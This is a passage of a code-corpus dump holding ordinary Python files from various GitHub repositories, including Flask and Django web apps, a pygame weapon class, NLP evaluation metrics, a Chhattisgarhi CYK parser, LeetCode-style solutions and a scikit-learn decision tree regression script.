\"get_control_panel_by_channel_id\", return_value=cp):\n with pytest.raises(Conflict):\n HelperResource.get_control_panel_or_409(channel_id)\n\n def test_get_channel_properties_object_or_404_return_channel_properties(self, channel_id, cp):\n with patch.object(ControlPanel, \"get_active_control_panel_details\", return_value=cp):\n with patch(\"flask_restx.abort\") as test:\n HelperResource.get_channel_properties_object_or_404(channel_id)\n test.assert_not_called()\n\n def test_get_channel_properties_object_from_cp_return_channel_properties(self, cp):\n assert HelperResource.get_channel_properties_object_from_cp(cp) is not None\n","repo_name":"babylonhealth/slack011y-bus","sub_path":"src/tests/admin_panel/test_helper.py","file_name":"test_helper.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"39620319344","text":"from Bullet.GameBullets import ConstPowerHighSpeedBullet, ConstPowerMediumSpeedBullet, VariatePowerLowSpeedBullet\nimport pygame\nimport json\nimport os\n\npygame.init()\nwith open(\"Config/WeaponReloadData.json\", \"r\") as f:\n class_data = json.load(f)\nSOUNDS_DIR = \"Bullet/BulletSounds/\"\n\n\nclass Weapon:\n weapons_call_down = class_data[:]\n weapons_sounds = [pygame.mixer.Sound(SOUNDS_DIR + sound_filename)\n for sound_filename in os.listdir(SOUNDS_DIR)]\n\n def __init__(self,\n parent_entity,\n default_bullet_preset,\n reload_change_index):\n self.parent_entity = parent_entity\n self.current_bullet_preset = default_bullet_preset\n self.reload_change_index = reload_change_index\n self.current_weapon_call_down = Weapon.weapons_call_down[default_bullet_preset - 1] * self.reload_change_index\n self.shoot_ability = True\n self.shoot_ability_timer = 0\n self.shoot_ability_clock = pygame.time.Clock()\n\n def correct_shoot_ability(self):\n self.shoot_ability_clock.tick()\n if not self.shoot_ability:\n self.shoot_ability_timer += self.shoot_ability_clock.get_time()\n if self.shoot_ability_timer >= self.current_weapon_call_down:\n self.shoot_ability = True\n self.shoot_ability_timer = 0\n\n def shoot_action(self):\n if self.current_bullet_preset == 1:\n self.parent_entity.group_of_bullets.add(ConstPowerHighSpeedBullet(self.parent_entity.rect.centerx,\n self.parent_entity.rect.centery,\n self.parent_entity.get_conflict_side()))\n if self.current_bullet_preset == 2:\n self.parent_entity.group_of_bullets.add(ConstPowerMediumSpeedBullet(self.parent_entity.rect.centerx,\n self.parent_entity.rect.centery,\n self.parent_entity.get_conflict_side()))\n if self.current_bullet_preset == 3:\n self.parent_entity.group_of_bullets.add(VariatePowerLowSpeedBullet(self.parent_entity.rect.centerx,\n self.parent_entity.rect.centery,\n self.parent_entity.get_conflict_side()))\n Weapon.weapons_sounds[self.current_bullet_preset - 1].play()\n\n def shoot(self):\n self.correct_shoot_ability()\n if not self.shoot_ability:\n return\n self.shoot_ability = False\n self.shoot_action()\n\n def change_bullet_preset(self, preset):\n self.current_bullet_preset = preset\n self.current_weapon_call_down = Weapon.weapons_call_down[self.current_bullet_preset - 1] * self.reload_change_index\n self.shoot_ability_clock.tick()\n self.shoot_ability_timer = 0\n","repo_name":"StoleYourFridge/PPvIS_3","sub_path":"Weapon/Weapon.py","file_name":"Weapon.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43769571710","text":"\n\n\n# class KgToPounds:\n\n# def __init__(self, kg):\n# self.__kg = kg\n\n# def to_pounds(self):\n# return self.__kg * 2.205\n\n# def set_kg(self, new_kg):\n# if isinstance(new_kg, (int, float)):\n# self.__kg = new_kg\n# else:\n# raise ValueError('Килограммы задаются только числами')\n# return new_kg\n \n# def get_kg(self):\n# print(self.__kg)\n\n\n \n\n# kgToPounds = KgToPounds(45)\n# kgToPounds.get_kg()\n# print(kgToPounds.to_pounds())\n# print(kgToPounds.set_kg(\"df\"))\n\n\n\nclass Nikola:\n def __init__(self, name, age):\n self.name = name\n if name != \"Николай\":\n print(f\"Я не {self.name}. Я Николай\")\n self.age = age\n\nchel1 = Nikola(\"Николай\", 45)\nchel2 = Nikola(\"Исхак\", 17)\nprint(chel1.name, chel1.age)\nprint(chel2.name, chel2.age)","repo_name":"Isakov7772/Python3_course_all_lessons","sub_path":"exam_2_2/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30855258314","text":"import numpy\nfrom rouge.rouge import Rouge\nimport sys\nfrom nltk.translate.bleu_score import sentence_bleu, SmoothingFunction\nfrom bert_score import score as b_score\n\nsys.setrecursionlimit(10000000)\n\n\nclass Evaluator:\n def __init__(self):\n self.rouge = Rouge()\n\n def compute_rouge(self, source, target):\n \"\"\"计算rouge-1、rouge-2、rouge-l\n \"\"\"\n source, target = ' '.join(source), ' '.join(target)\n try:\n scores = self.rouge.get_scores(hyps=source, refs=target)\n return {\n 'rouge-1': scores[0]['rouge-1']['f'],\n 'rouge-2': scores[0]['rouge-2']['f'],\n 'rouge-l': scores[0]['rouge-l']['f'],\n }\n except ValueError:\n return {\n 'rouge-1': 0.0,\n 'rouge-2': 0.0,\n 'rouge-l': 0.0,\n }\n\n def compute_rouges_directly(self, sources, targets):\n scores = {\n 'rouge-1': 0.0,\n 'rouge-2': 0.0,\n 'rouge-l': 0.0,\n }\n for id, source in enumerate(sources):\n target = targets[id]\n score = self.compute_rouge(source, target)\n for k, v in scores.items():\n scores[k] = v + score[k]\n result = {k: v / len(targets) for k, v in scores.items()}\n result[\"rouge-all\"] = 0.2 * result[\"rouge-1\"] + 0.3 * result[\"rouge-2\"] + 0.5 * result[\n \"rouge-l\"]\n return result\n\n def compute_bleu(self, bleu_type, sources, targets):\n bleu_weight_dict = {\"bleu1\": (1, 0, 0, 0), \"bleu2\": (0.5, 0.5, 0, 0), \"bleu3\": (0.33, 0.33, 0.33),\n \"bleu4\": (0.25, 0.25, 0.25, 0.25)}\n score = 0.0\n for id, source in enumerate(sources):\n target = targets[id]\n source, target = ' '.join(source), ' '.join(target)\n score += sentence_bleu(references=[source.split(' ')], hypothesis=target.split(' '),\n smoothing_function=SmoothingFunction().method1, weights=bleu_weight_dict[bleu_type])\n\n score /= len(sources)\n return score\n\n def compute_bleu_directly(self, sources, targets):\n bleu_type_dict = {\"bleu1\": self.compute_bleu(\"bleu1\", sources, targets),\n \"bleu2\": self.compute_bleu(\"bleu2\", sources, targets),\n \"bleu3\": self.compute_bleu(\"bleu3\", sources, targets),\n \"bleu4\": self.compute_bleu(\"bleu4\", sources, targets)}\n return bleu_type_dict\n\n def compute_bert_score_directly(self, sources, targets):\n score = 0.0\n P, R, score = b_score(targets, sources, lang=\"zh\", verbose=True)\n score = score.numpy().tolist()\n score = numpy.mean(score)\n return score\n\n def compute_all_score(self, sources, targets):\n rouge_result = self.compute_rouges_directly(sources, targets)\n bleu_score = self.compute_bleu_directly(sources, targets)\n bert_score = self.compute_bert_score_directly(sources, targets)\n result_list = [rouge_result[\"rouge-1\"], rouge_result[\"rouge-2\"], rouge_result[\"rouge-l\"],\n bleu_score[\"bleu1\"], bleu_score[\"bleu2\"], bleu_score[\"bleu3\"], bleu_score[\"bleu4\"],\n bert_score]\n return result_list\n","repo_name":"fjiangAI/demo_streamlit_text_generation","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":3309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"6745832028","text":"from django.urls import path\nfrom . import views\nfrom .views import (\n ItemDetailView,\n HomeView,\n add_to_cart,\n add_to_wish,\n remove_from_cart,\n remove_from_wish,\n ShopView,\n OrderSummaryView,\n WishView,\n remove_single_item_from_cart,\n CheckoutView,\n PaymentView,\n AddCouponView,\n RequestRefundView,\n CategoryView,\n remove_single_item_from_wish,\n ContactView,\n login_view,\n logout_view,\n Register_user,\n Register,\n order_view,\n menu_view,\n ItemDetailsView,\n\tadd_single_item,\n menu_view_collections,\n adminOrders_View,\n accept_order,\n decline_order,\n delivered_order,\n getOrders_Status,\n payment_status,\n clear_cart,\n clear_wish,\n add_wish_to_cart,\n pdfView\n)\n\napp_name = 'core'\n\nurlpatterns = [\n path('', HomeView.as_view(), name='home'),\n path('addcomment//', views.addcomment, name='addcomment'),\n path('contactus/',ContactView.as_view(), name='contact-us'),\n path('addcontactus/', views.contactus, name='add-contact-us'),\n path('checkout/', CheckoutView.as_view(), name='checkout'),\n path('category//', CategoryView.as_view(), name='category'),\n path('product//', ItemDetailView.as_view(), name='product'),\n path('get-details//', ItemDetailsView, name='product-details'),\n path('add-to-cart////', add_to_cart, name='add-to-cart'),\n path('add-to-wish////', add_to_wish, name='add-to-wish'),\n path('add-pri-to-cart///', views.add_pri_to_cart, name='add-pri-to-cart'),\n path('post-form////', views.post_form, name='post_form'),\n path('add-pri-to-wish///', views.add_pri_to_wish, name='add-pri-to-wish'),\n path('add_coupon/', AddCouponView.as_view(), name='add-coupon'),\n path('remove-from-cart//', remove_from_cart, name='remove-from-cart'),\n path('remove-from-wish///', remove_from_wish, name='remove-from-wish'),\n path('shop/', ShopView.as_view(), name='shop'),\n path('order-summary/', OrderSummaryView.as_view(), name='order-summary'),\n path('wish-summary/', WishView.as_view(), name='wish-summary'),\n path('remove-item-from-cart///', remove_single_item_from_cart,\n name='remove-single-item-from-cart'),\n path('add-item-to-cart/', add_single_item, name=\"add-item-to-cart\"),\n path('remove-item-from-wish///', remove_single_item_from_wish, name=\"remove-single-item-from-wish\"),\n path('payment//', PaymentView.as_view(), name='payment'),\n path('request-refund/', RequestRefundView.as_view(), name='request-refund'),\n\n path('login', login_view, name=\"login_view\"),\n path('logout', logout_view, name='logout_view'),\n path('register/register_user/', Register_user, name='register'),\n path('register/', Register, name='register_page'),\n path('orders', order_view, name='orders'),\n path(\"products_menu//\", menu_view, name=\"menu_view\"),\n path('collections_menu//', menu_view_collections, name=\"menu_view_collections\"),\n path('admin-orders/', adminOrders_View, name='adminOrders_View'),\n path('accept-order//', accept_order, name='accept_order'),\n path('decline-order//', decline_order, name='decline_order'),\n path('delivered-order//', delivered_order, name='delivered_order'),\n path('order_status/', getOrders_Status, name='getOrders_Status'),\n path('payment_status/', payment_status, name = 'payment_status'),\n path('clear-cart', clear_cart, name=\"clear_cart\"),\n path('clear-wish', clear_wish, name=\"clear_wish\"),\n path('add_wish_to_cart/', add_wish_to_cart, name=\"add_wish_to_cart\"),\n path('generate-invoice/', pdfView, name=\"pdfView\")\n]\n","repo_name":"Dhanush-arch/Multivendor-Ecommerce-website","sub_path":"core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11015937946","text":"# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def partition(self, head: ListNode, x: int) -> ListNode:\n if not head:\n return head\n less_than = ListNode(0)\n less_than_head = less_than\n more_than = ListNode(0)\n more_than_head = more_than\n while(head):\n if head.val < x:\n less_than.next = ListNode(head.val)\n less_than = less_than.next\n else:\n more_than.next = ListNode(head.val)\n more_than = more_than.next\n head = head.next\n less_than.next = more_than_head.next\n return less_than_head.next\n\n\n def partition2(self, head, x):\n pass\n","repo_name":"NeilWangziyu/Leetcode_py","sub_path":"partition.py","file_name":"partition.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"13277735762","text":"class Solution(object):\n def csv_formatter(self, csvLines):\n # get he max for each col\n res = ''\n colLen = [0] * len(max(csvLines, key=lambda x:len(x.split(','))).split(','))\n for line in csvLines:\n line = line.split(',')\n for i in range(len(line)):\n colLen[i] = max(colLen[i], len(line[i]))\n # print\n print(colLen)\n for line in csvLines:\n line = line.split(',')\n # print(line)\n printLine = ''\n for i in range(len(colLen)):\n wlen = len(line[i]) if i < len(line) else 0\n colW = ' ' * (colLen[i] - wlen) + (line[i] if i < len(line) else '') + ', '\n printLine += colW\n res += printLine[:-2] + '\\n'\n return res\n\nprint(Solution().csv_formatter(['name,age,hobby', 'sskdgfkjprhenghuiyang,20,love bing', 'haobinghuang,,,,love yang']))","repo_name":"SuperMartinYang/learning_algorithm","sub_path":"leetcode/easy/CSV_Formatter.py","file_name":"CSV_Formatter.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43685791665","text":"from django.shortcuts import render, redirect\nfrom .models import Image, ImageText\nfrom .forms import ImageForm\nfrom PIL import Image as OCR_Image\nimport pyocr\n\ndef index(request):\n if request.method == \"POST\":\n form = ImageForm(request.POST, request.FILES)\n form.save()\n entries = Image.objects.all().order_by(\"-id\")[0]\n tools = pyocr.get_available_tools()\n tool = tools[0]\n txt = tool.image_to_string(\n OCR_Image.open(entries.picture),\n lang='jpn',\n )\n ImageText.objects.create(title=entries, text=txt)\n return redirect('ocr:index')\n else:\n form = ImageForm()\n\n try:\n images = Image.objects.all().order_by(\"-id\")[0]\n except:\n images = None\n\n try:\n texts = ImageText.objects.all().order_by(\"-id\")[0]\n except:\n texts = \"エラー\"\n\n context = {'images': images, 'texts': texts, 'form': form}\n return render(request, 'index.html', context)\n","repo_name":"MasakiTanaka-9627/ImageTool","sub_path":"ocr/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26087171361","text":"#!/usr/bin/python3\n\nfile_name = \"prog.asm\"\nfi = open(file_name, \"r\")\nfw = False\nfor l in fi:\n if (len(l.split()) > 0 and l.split()[0] == \"section\"):\n if fw != False:\n fw.close()\n fn = \"tmp/\" + file_name.split('.')[0]\n fn += l.split()[1]\n fw = open(fn, \"w\")\n else:\n if fw != False and len(l.split()) > 0:\n # remove unwanted white space and tabs\n l.replace('\\t', '')\n l = l.split()\n new_l = l[0]\n for i in range(1, len(l)):\n new_l += \" \" + l[i]\n new_l += \"\\n\"\n fw.write(new_l)\nfi.close()\nfw.close()\nprint(\"Section Parser Done.\")\n","repo_name":"RiceShelley/ShellCPU","sub_path":"shell_asm/sec_parser.py","file_name":"sec_parser.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"39519455014","text":"import nltk\nimport pathlib\nfrom nltk.tag import tnt\nfrom nltk.corpus import indian\n\n\ndef toCNF(p, key):\n ret = []\n while len(p) > 2:\n ret.append([p[0], key])\n p.pop(0)\n ret.append(p)\n return ret\n\n\ndef cykParse(w, r):\n n = len(w)\n\n # Initialize the table\n T = [[set([]) for j in range(n)] for i in range(n)]\n\n # Filling in the table\n for j in range(0, n):\n\n # Iterate over the rules\n for lhs, rule in r.items():\n for rhs in rule:\n\n # If a terminal is found\n if len(rhs) == 1 and \\\n rhs[0] == w[j]:\n T[j][j].add(lhs)\n\n for i in range(j, -1, -1):\n\n # Iterate over the range i to j + 1\n for k in range(i, j + 1):\n\n # Iterate over the rules\n for lhs, rule in r.items():\n for rhs in rule:\n\n # If a terminal is found\n if len(rhs) == 2 and rhs[0] in T[i][k] and ((rhs[1] in T[k + 1][j])):\n T[i][j].add(lhs)\n elif len(rhs) == 1 and rhs[0] in T[i][k]:\n T[i][j].add(lhs)\n # If word can be formed by rules\n # of given grammar\n\n for i in range(n):\n for j in range(n):\n print(T[i][j], end=\" \")\n print()\n\n if len(T[0][n-1]) != 0:\n print(\"\\nYes, the given sentence belongs to CFG\")\n return r\n else:\n print(\"\\nNo, the given sentence does not belongs to CFG\")\n return \"cykError\"\n\n\ntext = \"रामलाल ह अपन मकान के ढलई करत रिहिस\"\n\n\ndef main(text):\n try:\n path = str(pathlib.Path(__file__).parent.absolute())\n train_data = indian.tagged_sents(path + '/cg_tagged.txt')\n tnt_pos_tagger = tnt.TnT()\n tnt_pos_tagger.train(train_data)\n tagged_words = (tnt_pos_tagger.tag(nltk.word_tokenize(text)))\n tags = list(map(lambda x: x[1], tagged_words))\n if 'VM' in tags:\n np, vp = tags[: tags.index('VM')], tags[tags.index('VM'):]\n elif 'VAUX' in tags:\n np, vp = tags[: tags.index('VAUX')], tags[tags.index('VAUX'):]\n else:\n np = tags\n\n tokens = list(text.split(' '))\n tagged_data = {\n tagged_words[0][1]: [[tagged_words[0][0]]]\n }\n print(\"\\n{}\\n\".format(tagged_words))\n\n for i in range(1, len(tagged_words)):\n if tagged_words[i][1] in tagged_data:\n tagged_data[tagged_words[i][1]].append([tagged_words[i][0]])\n else:\n tagged_data[tagged_words[i][1]] = [[tagged_words[i][0]]]\n\n r = {\n 'S': [[\"NP\", \"VP\"]],\n 'NP': [np],\n }\n r['NP'] = toCNF(np, 'NP')\n if vp:\n r['VP'] = toCNF(vp, 'VP')\n\n r.update(tagged_data)\n s = \"\"\"\n \"\"\"\n\n for key, val in r.items():\n st = \"\"\n st += \"{} -> \".format(key)\n for rhs in val:\n st += \" \".join(map(lambda x: x if x.isupper()\n else \"'{}'\".format(x), rhs))\n if rhs != val[-1]:\n st += \" | \"\n s += \"\\n{}\".format(st)\n grammar = nltk.CFG.fromstring(s)\n parser = nltk.ChartParser(grammar)\n # for tree in parser.parse(tokens):\n # tree.\n tree = (list(parser.parse(tokens))[0])\n a = tree2dict(tree)\n d = dict2obj(a)\n print(d)\n return cykParse(tokens, r)\n except Exception as e:\n print(e)\n\n\ndef dict2obj(d, key='S', parent=None):\n\n return {\n 'name': key,\n 'parent': parent,\n 'children': list(map(lambda x: dict2obj(x, list(x.keys())[0], key) if type(x) is dict else {'name': x, 'parent': key}, d[key]))\n }\n\n\ndef tree2dict(tree):\n return {tree.label(): [tree2dict(t) if isinstance(t, nltk.tree.Tree) else t\n for t in tree]}\n\n\nprint(\"\\n{}\\n\".format(text))\nmain(text)\n","repo_name":"SohailTSM/Chhattisgarhi-Parser","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35503419692","text":"import copy\nimport random\nfrom collections import Counter\n# Consider using the modules imported above.\n\nclass Hat:\n def __init__(self, **balls):\n self.balls = balls\n self.contents = [ball for ball in balls for i in range(balls[ball])]\n\n def draw(self, draw_number):\n draw_list = []\n if draw_number >= len(self.contents):\n return self.contents\n for i in range(draw_number):\n choice = random.choice(self.contents)\n self.contents.remove(choice)\n draw_list.append(choice)\n return draw_list\n\ndef experiment(hat, expected_balls, num_balls_drawn, num_experiments):\n expected_list = []\n\n for key, value in expected_balls.items():\n for x in range(value):\n expected_list += key.split()\n m = 0\n for n in range(num_experiments):\n trial = copy.deepcopy(hat)\n draw = trial.draw(num_balls_drawn)\n result = list((Counter(expected_list) - Counter(draw)).elements())\n if not result:\n m += 1\n probability = m / num_experiments\n return probability\n","repo_name":"abigaelvs/probability-calculator","sub_path":"prob_calculator.py","file_name":"prob_calculator.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16237806303","text":"def solution(k, tangerine):\n # tangerine 에서 k개를 고를 때 종류가 가장 적은 경우를 찾는 문제\n # 개수를 모두 count한 다음에 큰 것부터 k에서 뺄까?\n dic = {}\n for t in tangerine:\n if t in dic:\n dic[t] += 1\n else:\n dic[t] = 1\n \n total_list = list(dic.items())\n total_list.sort(reverse=True, key = lambda x:x[1])\n answer = 0\n count = 0\n for size, n in total_list:\n count += n\n answer += 1\n if count >= k:\n break\n return answer\n\n\nk = 6\ntangerine = [1, 3, 2, 5, 4, 5, 2, 3]\nprint(solution(k, tangerine))","repo_name":"heejin42/study_algorithm","sub_path":"programmers/귤고르기.py","file_name":"귤고르기.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25476234696","text":"from datetime import datetime\n\nfrom main import db\nfrom flask import Blueprint\nfrom flask import request\nfrom bson.json_util import ObjectId, Int64\n\n#from Models.Player import Player\n#from Models.Battle import Battle\n#from Models.Enemy import Enemy\n\nbattle = Blueprint('battle', __name__)\n\n\n@battle.route('/initialize_battle', methods=['POST'])\ndef initialize_battle():\n player_id = request.form.get('player_id', None)\n enemy_sql_id = request.form.get('enemy_sql_id', None)\n\n if None in [enemy_sql_id, player_id]:\n return dict(status=False)\n try:\n enemy_sql_id = int(enemy_sql_id)\n except ValueError:\n return dict(status=False)\n\n enemy = db.get_collection(\"Enemy\").find_one({'enemy_id': enemy_sql_id})\n battle = db.get_collection(\"Battle\").find_one({'player_id': ObjectId(player_id)})\n\n if battle is None:\n battle: dict = {'_id': ''}\n battle['_id'] = db.get_collection('Battle').insert_one({\n 'player_id': ObjectId(player_id)\n }).inserted_id\n\n\n if None in [enemy]:\n return dict(status=False)\n\n db.get_collection(\"Battle\").update_one(\n {\n '_id': ObjectId(battle.get('_id'))\n },\n {\n \"$set\": {\n 'enemy_id': enemy.get('_id'),\n 'enemy_hp': enemy.get('hp'),\n 'last_action_data': datetime.utcnow()\n }\n }\n )\n\n return dict(status=True, enemy_hp=enemy.get('hp'))\n\n\n@battle.route('/damage_enemy', methods=['POST'])\ndef damage_enemy():\n player_id = request.form.get('player_id', None)\n damage = request.form.get('damage', None)\n\n if None in [player_id, damage]:\n return dict(status=False)\n\n battle = db.get_collection(\"Battle\").find_one({'player_id': ObjectId(player_id)})\n\n if None is battle:\n return dict(status=False)\n\n enemy_id = db.get_collection(\"Enemy\").find_one({\n '_id': ObjectId(battle.get('enemy_id'))\n }).get('_id')\n\n if None in [enemy_id, damage]:\n return dict(status=False)\n try:\n damage = int(damage)\n except ValueError:\n return dict(status=False)\n\n player = db.get_collection(\"Player\").find_one({\n '_id': ObjectId(battle.get('player_id'))\n })\n hp = player.get('hp')\n\n result = db.ItemPlayer.aggregate([{\n \"$lookup\": {\n \"from\": \"Player\",\n \"localField\": \"player_id\",\n \"foreignField\": \"_id\",\n \"as\": \"PlayerData\"\n }\n },\n {\n \"$lookup\": {\n \"from\": \"Item\",\n \"localField\": \"item_id\",\n \"foreignField\": \"_id\",\n \"as\": \"ItemData\"\n }\n },\n {\"$unwind\": \"$ItemData\"},\n {\n \"$group\": {\n \"_id\": {\"player\": \"$player_id\", \"item\": \"$item_id\"},\n \"count\": {\"$sum\": 1},\n \"sum_increment_damage\": {\"$sum\": \"$ItemData.increment.damage\"},\n \"sum_decrement_damage\": {\"$sum\": \"$ItemData.decrement.damage\"},\n \"damage_unit\": {\"$max\": \"$ItemData.increment.damage\"},\n\n \"sum_increment_hp\": {\"$sum\": \"$ItemData.increment.hp\"},\n \"sum_decrement_hp\": {\"$sum\": \"$ItemData.decrement.hp\"}\n }\n }\n ])\n\n for r in result:\n print(r)\n damage += r.get('sum_increment_damage') - r.get('sum_decrement_damage')\n hp += r.get('sum_increment_hp') - r.get('sum_decrement_hp')\n\n enemy_hp = battle.get('enemy_hp') - damage\n if enemy_hp < 0:\n enemy_hp = 0\n\n db.get_collection(\"Player\").update_one(\n {\n '_id': ObjectId(player.get('_id'))\n },\n {\n \"$set\": {\n 'hp': hp\n }\n }\n )\n\n db.get_collection(\"Battle\").update_one(\n {\n '_id': ObjectId(battle.get('_id'))\n },\n {\n \"$set\": {\n 'enemy_hp': enemy_hp,\n 'last_action_data': datetime.utcnow()\n }\n }\n )\n\n return dict(status=True, enemy_hp=enemy_hp)\n\n\n@battle.route('/damage_player', methods=['POST'])\ndef damage_player():\n player_id = request.form.get('player_id', None)\n damage = request.form.get('damage', None)\n\n damage = db.get_collection(\"Player\").find_one({'player_id': ObjectId(player_id)}).get('base_damage')\n\n if None in [player_id, damage]:\n return dict(status=False)\n try:\n damage = int(damage)\n except ValueError:\n return dict(status=False)\n\n player = db.get_collection(\"Player\").find_one({'user_id': Int64(player_id)})\n if None is player:\n return dict(status=False)\n\n\n player_hp = player.get('player_hp') - damage\n if player_hp < 0:\n player_hp = 0\n\n db.get_collection(\"Player\").update_one(\n {\n '_id': ObjectId(player.get('_id'))\n },\n {\n \"$set\": {\n 'player_hp': player_hp\n }\n }\n )\n\n return dict(status=True)\n\n\n@battle.route('/push_item', methods=['POST'])\ndef push_item():\n player_id = request.form.get('player_id', None)\n item_id = request.form.get('item_id', None)\n\n if None in [player_id, item_id]:\n return dict(status=False)\n\n\n player = db.get_collection(\"Player\").find_one({'user_id': Int64(player_id)})\n if None is player:\n return dict(status=False)\n\n db.get_collection(\"ItemPlayer\").insert_one(\n {\n 'item_id': ObjectId(item_id),\n 'player_id': ObjectId(player.get('_id'))\n }\n )\n\n db.get_collection(\"Player\").update_one(\n {\n \"_id\": ObjectId(player.get(\"_id\"))\n },\n {\n \"$push\": {\n \"items\": ObjectId(item_id)\n }\n }\n )\n\n return dict(status=True)\n\n@battle.route('/delete_item', methods=['POST'])\ndef delete_item():\n player_id = request.form.get('player_id', None)\n item_index = request.form.get('item_index', None)\n\n if None in [player_id, item_index]:\n return dict(status=False)\n\n try:\n item_index = int(item_index)\n except ValueError:\n return dict(status=False)\n\n db.get_collection(\"Player\").update_one(\n {\n '_id': ObjectId(player_id)\n },\n {\n '$unset': {'items.{}'.format(item_index): 1}\n }\n )\n db.get_collection(\"Player\").update_one(\n {\n '_id': ObjectId(player_id)\n },\n {\n '$pull': {'items': None}\n }\n )\n\n return dict(status=True)","repo_name":"Tunaxx-New/NoSQLFinalMid","sub_path":"Routes/battle.py","file_name":"battle.py","file_ext":"py","file_size_in_byte":6355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18367850692","text":"import requests\nimport json\nfrom requests.auth import HTTPBasicAuth\n\nurl = \"https://gateway.watsonplatform.net/personality-insights/api/v3/profile?version=2017-10-13\"\nheaders = {\"Content-Type\" : \"text/plain;charset=utf-8\", \"Accept\" : \"application/json\"}\napi_key = HTTPBasicAuth('apikey', 'MjVNB2gksOOEQpnAiyboO3h4Ex1EQmkUdcGZh_DWMQ4E')\n\ndef get_data_for_user():\t\n\traw_data_file_ptr = open(\"web_chat_data.en\", \"r\")\n\tcount = 0\n\tuser_count = 0\n\tbase_line = \"\"\n\n\tdict_of_text = {}\n\n\tfor line in raw_data_file_ptr.readlines():\n\t\tcount += 1\n\n\t\tif count == 200:\n\t\t\tdict_of_text[\"user_{}\".format(user_count)] = base_line\n\n\t\t\treq = requests.post(url, headers=headers, auth=api_key, data=base_line)\n\t\t\twith open(\"user_{}.json\".format(user_count), \"w\") as out:\n\t\t\t\tres = json.dump(req.content, out, sort_keys=True, indent=4, separators=(',', ': '))\n\n\t\t\tuser_count += 1\n\t\t\tcount = 0\n\t\t\tbase_line = \"\"\n\n\n\t\tbase_line = base_line + line\n\n\tprint(dict_of_text)\n\nif __name__ == \"__main__\":\n\tget_data_for_user()\n\n\n\n","repo_name":"hsezhiyan/IM_Recommendation_System","sub_path":"SourceCode/ScraperScript/personality_user_text.py","file_name":"personality_user_text.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7490633771","text":"import numpy\nimport pandas\nimport seaborn\nimport matplotlib.pyplot\nimport google\nimport scipy.stats\nimport sklearn.metrics\nimport sklearn.linear_model\nimport sklearn.preprocessing\nimport sklearn.tree\nimport sklearn.model_selection\n\ndef decisiontree_regression_analysis(dataframe):\n \"\"\"Cria modelo de previsão por regressão de árvore de decisão linear para \n colunas referenciadas, faz a análise desta e plota um gráfico de dispersão \n dos dados previstos e da árvore de decisão\"\"\"\n\n # Obtem o dataframe reduzido\n reduced_dataframe = reduce_datraframe(dataframe)\n\n # Obtém o dataframe escalado de 0 a 1 de acordo com desvio padrão de cada registro\n # em relaçao ao mínimo e máximo valor da coluna a que este pertence\n scaler = sklearn.preprocessing.MinMaxScaler()\n scaled_dataframe = scaler.fit_transform(reduced_dataframe)\n\n # Determina a entrada da árvore como os valores do índice 2 d dataframe referenciado\n # column declared_weight do dataframe original ou reduzido\n entrada_arvore=scaled_dataframe[:,2] \n\n # Determina a entrada da árvore como os valores do índice 3 d dataframe referenciado\n # column actual_weight do dataframe original ou reduzido\n saida_arvore=scaled_dataframe[:,3] \n\n # Transforma a entrada e saída em arrays de duas dimensões\n entrada_arvore_2d=entrada_arvore.reshape(-1,1)\n saida_arvore_2d=saida_arvore.reshape(-1,1)\n\n # Define a massa de teste e treinamento\n # test_size define a proporção x% para massa de teste e o restante para o treinamento\n x_train, x_test, y_train, y_test = sklearn.model_selection.train_test_split(\n entrada_arvore_2d, saida_arvore_2d, test_size=0.30, random_state=42) \n\n # Define a árvore de regressão e aplica a mesma aos dados de treinamento\n regression_tree=sklearn.tree.DecisionTreeRegressor() \n regression_tree.fit(x_train, y_train) #aplica a regressão\n\n # Realiza a previsão com os dados de teste\n tree_prediction=regression_tree.predict(x_test)\n\n # Imprime a média do erro (valor real - valor predito) absoluto\n print('Média do erro absoluto:', sklearn.metrics.mean_absolute_error(y_test, tree_prediction))\n\n # Imprime a média do erro (valor real - valor predito) quadrático\n # Mede a qualidade do estimador (Não negativo)\n # Quanto mais próximo de 0 melhor o estimador\n print('Mean Squared Error:', sklearn.metrics.mean_squared_error(y_test, tree_prediction))\n\n # Plota gráfico da regressão com árvore de decisão \n matplotlib.pyplot.figure(figsize=(15, 10))\n\n # Define os valores do eixo x\n X_grid = numpy.arange(min(entrada_arvore), max(entrada_arvore), 0.001)\n X_grid_2d = X_grid.reshape((len(X_grid), 1))\n\n # Realiza o plot do gráfico de 